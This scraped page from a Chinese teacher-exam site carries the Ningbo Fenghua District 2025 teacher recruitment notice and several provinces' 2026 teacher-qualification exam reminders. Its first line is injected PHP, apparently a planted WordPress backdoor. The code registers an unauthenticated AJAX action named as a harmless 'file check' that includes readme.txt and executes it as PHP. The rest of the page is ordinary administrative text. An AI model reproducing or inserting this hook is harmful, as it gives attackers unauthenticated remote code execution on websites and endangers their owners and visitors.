if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江宁波市奉化区2025教育系统招聘第二批事业编制教师35人公告-全国教师资格考试网

浙江宁波市奉化区2025教育系统招聘第二批事业编制教师35人公告

为深入实施“教育强区”战略,加快推进教师队伍建设,引进、培养和储备一批奉化教育所需的优秀人才,决定面向社会公开招聘事业编制教师35名。现将有关事项公告如下:

一、招聘原则

坚持“公开、公平、竞争、择优”原则。

二、招聘计划和岗位

招聘计划和岗位要求详见附件1。

三、招聘对象与条件

(一)招聘对象

1.应届生:国内2025年(含2023年、2024年)普通高校全日制本科及以上学历、学士及以上学位应届毕业生;国(境)外高校2022年10月1日至2025年8月31日(含)毕业,并取得国家教育部学历学位认证书的毕业生。

2.历届生:国内普通高校全日制本科及以上学历、学士及以上学位历届毕业生;国(境)外高校毕业,并取得国家教育部学历学位认证书的毕业生;上述对象年龄均在30周岁及以内。

(二)招聘条件

1.具有中华人民共和国国籍,遵守中华人民共和国宪法、法律和法规;

2.遵守纪律、品行端正,具备良好的职业素质和敬业精神,服从组织分配;有志于从事教育工作,具有较强的事业责任心、专业技能水平和语言文字表达能力;

3.具有招聘岗位所需的学历学位、专业要求;

4.具备适应岗位所需的身体条件和心理素质;

5.具备招聘岗位所需的其他条件;

6.本区在编事业单位工作人员需与原单位解聘后才能报考。

四、招聘程序和办法

招聘采取公开报名、资格审查、考试、体检、考察等办法择优聘用。具体程序及办法如下:

(一)网上预报名

1.报名办法:考生通过扫描下方“2025年宁波市奉化区教育系统公开招聘第二批事业编制教师公告”二维码,在仔细阅读公告信息后,按要求详细输入个人信息,严格按照招聘所设条件选择岗位进行报名,完成相关信息的录入。每位考生只能选报一个岗位。请务必认真填写,确保信息的准确性。

2.网上预报名时间:2025年3月10日上午9:00—2025年3月16日下午17:00。网上预报名考生,还须到现场确认;网上未预报名考生,可到现场直接补报名并确认。http://www.fh.gov.cn/art/2025/3/3/art_1229101937_4601220.html

(二)现场报名及确认

1.现场报名及审核时间、地点:2025年3月19日(下午13:30—17:00),3月20日(上午8:30—11:30;下午13:30—17:00),奉化人才市场一楼大厅(奉化区锦屏街道锦奉大道1006号)。考生在相关岗位报名处报名并接受现场资格审查。现场报名需提交的材料:本人近期免冠正面一寸照片1张(粘贴至报名表)、报名表(附件2,请提前下载填写)、本人有效期内的第二代身份证、户口簿、在读学生证、高校核发的毕业生就业推荐表、就业协议书(就业协议书如高校未下发,需出具高校证明)、学校出具的毕业生证明、师范类证明、已取得的各层次学历学位证书和学信网电子注册备案表等与招聘条件相关的证件或有效证明材料。符合条件的国(境)外留学回国(境)人员还需提供国(境)外高校学籍证明、就读证明或学历学位证书和学历学位认证书等。以上证件和证明材料需随带原件并上交复印件(报名表和复印件请按上述顺序装订)。证件(证明)不全或所提供的证件(证明)与报考资格条件不相符者,取消参加考试资格。

考生均须按规定时间、地点参加现场报名及确认,接受资格审查。资格审查通过的当场领取准考证,并缴纳考务费50元(浙价费〔2018〕21号)。每位考生限报一个岗位,资格审查通过的不能再改报其他岗位。

2.指标审核

资格审查结束后,对各岗位报名人数进行审核。同一岗位符合条件的报名人数与招聘计划数之比不能低于3:1(招聘计划数在3人及以上的,符合条件的报名人数和招聘计划数之比不能低于2:1),否则将核减或取消该岗位的招聘计划数(同一岗位招聘计划数为多个的,则核减招聘计划数,招聘计划数为1个的予以取消)。核减或取消的招聘计划数在宁波市奉化区人民政府门户网站区人力资源和社会保障局分站(http://www.fh.gov.cn/col/col1229105695/index.html,下同)、区教育局分站(http://www.fh.gov.cn/col/col1229101933/index.html,下同)予以公布。

(三)考试

1.考试形式及总成绩计算

(1)高中美术、中小学体育(射击)、职高机电、中小学美术、中小学音乐、中小学体育的考试形式:笔试、专业技能测试和结构化面试,总成绩为笔试成绩的40%+专业技能测试成绩的40%+结构化面试成绩的20%。

(2)其他学科岗位的考试形式:笔试和面试(试讲),总成绩为笔试成绩的50%+面试成绩的50%。

各项成绩均以100分计算。

2.笔试

笔试时间初定于2025年3月23日(具体时间和地点以准考证为准)。各岗位笔试形式为综合知识测试(包括社会综合知识、教育基础知识),笔试题型为选择题,笔试时间90分钟,笔试总分100分。各岗位笔试合格成绩划定办法:笔试成绩以60分为基准线,平均分在基准线以上的,以基准线为笔试合格成绩;平均分在基准线以下的,以平均分为笔试合格成绩,但不低于基准线的85%。因答题卡需统一使用2B铅笔填涂,请务必携带2B铅笔、橡皮和黑色字迹的钢笔或水笔。

笔试成绩和进入专业技能测试及面试人员名单于2025年3月28日前在宁波市奉化区政府门户网站区人力资源和社会保障局分站、区教育局分站上公布。

笔试结束后,高中美术、中小学体育(射击)、职高机电、中小学美术、中小学音乐、中小学体育岗位,在笔试成绩合格人员中,按照招聘计划数1∶6的比例确定专业技能测试对象,不足规定比例的,按实际人数确定,按规定比例最后一名成绩并列的,均进入专业技能测试。专业技能测试总分100分,不足60分者淘汰。在专业技能测试成绩合格人员中,根据笔试和专业技能测试成绩之和从高到低依次排名,按招聘指标1∶3的比例确定面试对象,按规定比例最后一名成绩相同的,均进入面试,不足规定比例的按实际人数确定。其他岗位,在笔试成绩合格人员中,按招聘计划数1∶3的比例(其中招聘计划数3名及以上的按计划数1∶2的比例)确定面试对象,不足规定比例的,按实际人数确定,按规定比例最后一名成绩并列的,均进入面试。

3.专业技能测试

专业技能测试时间初定于2025年3月29日,具体时间、地点及相关事宜,另行通知。考生凭身份证和准考证按规定的时间和地点参加测试,如未按规定的时间和地点参加测试的,视作放弃。

4.面试

面试时间初定于2025年3月30日,具体时间、地点及相关事宜,另行通知。考生凭身份证和准考证按规定的时间和地点参加面试。面试对象不按规定的时间和地点参加面试的,视作放弃。

高中美术、中小学体育(射击)、职高机电、中小学美术、中小学音乐、中小学体育的面试形式为结构化面试,其他岗位的面试形式为试讲。面试主要考察应聘者的教育教学能力、仪容仪态、语言表达能力、逻辑思维能力和职业素养等。面试总分为100分,不足60分者淘汰。

(四)签约

在面试成绩合格人员中,根据总成绩从高分到低分按招聘计划数1:1比例确定签约对象。如遇总成绩相同,进行专业技能测试的岗位,笔试成绩高者为签约对象,若笔试成绩也相同,专业技能测试成绩高者为签约对象,若专业技能测试成绩也相同,则加试后确定;其他岗位,笔试成绩高者为签约对象,若笔试成绩也相同,则加试后确定。加试形式、时间等由区教育局会同区人力资源和社会保障局商定。现场若有放弃签约的,可在总成绩从高分到低分依次递补。总成绩及进入签约人员名单现场公布并当场签约。签约后无正当理由违约放弃的,记入机关事业单位考试诚信档案库。

(五)体检

签约人员参加由宁波市奉化区教育局统一组织的体检。具体时间、地点另行通知。体检工作按《关于修订〈公务员录用体检通用标准(试行)〉及〈公务员录用体检操作手册(试行)〉有关内容的通知》(人社部发〔2016〕140号)、《关于印发<公务员录用体检特殊标准(试行)>的通知》(人社部发〔2010〕82号)和《关于进一步做好公务员考试录用体检工作的通知》(人社部发〔2012〕65号)等文件规定执行。报考人员不按规定的时间、地点参加体检的,视为放弃。体检结果不合格者淘汰。

(六)考察

体检合格者进入考察。具体参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)等公务员录用考察相关文件规定执行,考察不合格者淘汰。

(七)递补规定

对放弃体检或体检不合格、放弃考察或考察不合格、拟聘用人员在聘用通知签发前书面提出放弃或因弄虚作假等原因被取消聘用资格的,在报考该岗位的面试成绩合格人员中按总成绩从高分到低分依次递补。递补人员名单在宁波市奉化区人民政府门户网站区人力资源和社会保障局分站、区教育局分站公布。被聘用人员无正当理由逾期不报到者取消聘用资格并不再递补。

(八)公示、聘用

1.考察合格后,对拟聘用人员进行公示,公示期为7个工作日,公示期间,反映有影响聘用问题并查有实据的,取消聘用资格。

2.拟聘用人员中,应届生须在2026年6月30日(含)前取得相应岗位学科所需的教师资格证书。

3.考生现有工作单位的,须按有关规定办理好与原单位终止劳动人事关系手续后予以聘用。拟聘用人员不按时办理聘用手续的,视作自动放弃。在办理人事关系转移手续时仍将审核档案资料,若发现考生档案资料有不符合报考条件的,取消聘用资格。

4.拟聘用人员逾期不按规定报到的,或不能于2025年8月31日(含)前取得规定学历、学位等相关证书的,取消聘用资格。

5.新聘用人员按规定与学校签订聘用合同并实行一年见习期,见习期满经考核合格,能胜任教育教学工作,与学校签订正式聘用合同并至少服务满5年(含见习期);见习期满经考核不合格,不能胜任教育教学工作,解除聘用合同。

6.新聘用人员的工资福利待遇、人才政策等按有关规定执行。

7.报考偏远镇街岗位的,本单位服务期限为6年。

五、其他事项说明

1.本次公开招聘相关招聘信息、实施过程及拟聘人员公示信息等均在宁波市奉化区人民政府门户网站区人力资源和社会保障局分站、区教育局分站公布,请报考人员关注。

2.因考试违规违纪行为被各级人事考试机构处罚,尚在禁考期内的人员,不得报考。

3.报考人员在招聘程序各环节中的违纪违规行为,按照《事业单位公开招聘违纪违规行为处理规定》(中华人民共和国人力资源和社会保障部令第35号)和浙江省有关规定处理。

4.报名考生请查看电脑版,手机或iPad可能会出现格式错误或重要信息遗漏。考生务必请对照资格条件进行报名。

5.资格审查贯穿招聘工作全过程,报考人员提交的所有注册信息和材料应当真实、准确、有效。凡提供虚假信息和材料获取报考资格的,或有意隐瞒本人真实情况的,一经查实,即取消报考或聘用资格。

6.2025年普通高校全日制应届毕业生须在2025年8月31日(含)前取得学历学位证书,且符合招聘岗位的要求。国(境)外高校毕业生报考时可凭国(境)外学籍证明报名,但须于2025年8月31日(含)前取得教育部中国留学服务中心出具的国(境)外学历学位认证书。上述时间以学历学位证书或认证书的落款时间为准,未在规定时间取得相应学历学位证书或认证书的不予聘用。

7.招聘岗位中所涉及的专业,均参照教育部最新发布的《普通高等学校本科专业目录》和《全国研究生招生学科专业目录》中的“专业名称”,如为本科学历“专业类”、研究生学历“学科类别(一级学科)”的已相应注明。国(境)外高校专业相近的以所学主干课程为准。

8.凡奉化区外机关事业单位在编在岗人员须在现场签约时提供加盖公章的现工作单位及主管部门同意报考书面证明。

9.未尽事宜由区教育局商区人力社保局解释(联系咨询电话:0574-88518006、0574-88521521、0574-88510721,监督电话:0574-88523822,工作时间:上午8:30-11:30,下午13:30-17:00)。

10.本次招聘不安排也不委托、授权任何社会机构和个人安排任何培训班。任何兜售与本次招聘有关资料、信息的行为均与招聘组织单位无关,请报考人员不要轻信。

点击查看>>>

附件1 2025年宁波市奉化区教育系统公开招聘第二批事业编制教师岗位表.xlsx

附件2 2025年宁波市奉化区教育系统公开招聘第二批事业编制教师报名表.doc

附件3 相关高校名单索引.doc

附件4 现场资格确认材料清单.doc

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部